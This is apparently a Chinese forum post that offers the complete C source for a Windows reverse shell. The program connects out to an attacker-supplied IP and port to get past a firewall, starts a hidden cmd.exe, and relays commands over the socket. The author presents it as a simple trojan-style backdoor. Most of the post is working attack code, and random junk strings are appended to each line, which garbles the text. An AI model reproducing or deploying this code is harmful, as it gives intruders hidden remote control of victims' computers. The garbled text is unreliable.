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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 [T4{K &  
/k ?l%AH  
/* ============================== QnOs8%HS-  
Rebound port in Windows NT tV_3!7m0$  
By wind,2006/7 b$0;fEvIJn  
===============================*/ n:B){'S  
#include P`O`Mw EAf  
#include A(uo%QE|  
Du +_dr^4  
#pragma comment(lib,"wsock32.lib") }5n\us  
F WU >WHX  
void OutputShell(); @`+\v mfD  
SOCKET sClient; <$hv{a  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; o/ 51 RH  
/eU\B^k  
void main(int argc,char **argv) !( +M  
{ FeS ,TQ4j  
WSADATA stWsaData; AX&Emz-  
int nRet; 5#x[rr{^*  
SOCKADDR_IN stSaiClient,stSaiServer; j@#RfVx  
3N!v"2!#  
if(argc != 3) Yc?S<  
{ Cq7 uy  
printf("Useage:\n\rRebound DestIP DestPort\n"); %-fS:~$  
return; RTvOaZ  
} 7)1%Z{Dy  
 \v+c.  
WSAStartup(MAKEWORD(2,2),&stWsaData); -IVWkA)7  
Pzd!"Gl9  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 'LuxF1>  
K:qc "Q=C  
stSaiClient.sin_family = AF_INET; G;#xcld  
stSaiClient.sin_port = htons(0); %Qb}z@>fJk  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); M6quPj  
+:jv )4^O  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 0~_I9|FN  
{ a%a0/!U[  
printf("Bind Socket Failed!\n"); 7JuHa /Mv  
return; 4_CL1g  
} TG8U=9qt  
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stSaiServer.sin_family = AF_INET; |"KdW#.x  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); pRxVsOb  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); G#f3 WpD  
.}eM"Kv  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) A.7lo  
{ P0_Ymn=&  
printf("Connect Error!"); !B#lZjW#  
return; p/u  
} KRn[(yr`%  
OutputShell(); 0|K<$e6IH  
} x[)]u8^A  
[e _csQ  
void OutputShell() U|.r -$|5P  
{ )K::WqR%w)  
char szBuff[1024]; ;o;ak.dTt  
SECURITY_ATTRIBUTES stSecurityAttributes; Unq~lt%2  
OSVERSIONINFO stOsversionInfo; g] ]6)nT  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; %qE"A6j  
STARTUPINFO stStartupInfo; = \oW {?  
char *szShell; 3m4 sh~  
PROCESS_INFORMATION stProcessInformation; mea} 9]c  
unsigned long lBytesRead; (d,O Lng  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); c05-1  
cUd>ah v  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); q(R|3l^6T  
stSecurityAttributes.lpSecurityDescriptor = 0; /[/{m]  
stSecurityAttributes.bInheritHandle = TRUE; S9nn^vsK  
BG.8 q4[  
S1~K.<B  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); car|&b  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); *wd=&Z^19  
`(P71T  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); (~5]1S}F  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; & @_PY  
stStartupInfo.wShowWindow = SW_HIDE; \UM&|yk:  
stStartupInfo.hStdInput = hReadPipe; ei=u$S.  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 3,*A VcQA  
XN?my@_HpM  
GetVersionEx(&stOsversionInfo); 0yMHU[):~  
%z-so?gF  
switch(stOsversionInfo.dwPlatformId) -byaV;T?"  
{ hgDFhbHtd6  
case 1: >o& %via}  
szShell = "command.com"; ?8< =.,r  
break; z?kE((Ey  
default: $nIE;idk  
szShell = "cmd.exe"; )"{}L.gC6  
break; }vgM$o  
} s[/d}S@ >  
:M`~9MCRf  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); E[zq<&P@  
w~pe?j_F$  
send(sClient,szMsg,77,0); &t_TLV 8T  
while(1) e}7!A  
{ =;) =,+V~q  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); Buq(L6P9r  
if(lBytesRead) EKN<KnU%  
{ K&gE4;>  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); $83Qd  
send(sClient,szBuff,lBytesRead,0); /P46k4M1U  
} i|/G!ht^e  
else /|h+,]< >  
{ YD9vWk \/  
lBytesRead=recv(sClient,szBuff,1024,0); u$ci{<  
if(lBytesRead<=0) break; 'IVC!uL,%  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 0@E I@X;q  
} SJ;{  Hg  
} k$#1T +(G  
Ky8,HdAq  
return; RX^8`}N  
}
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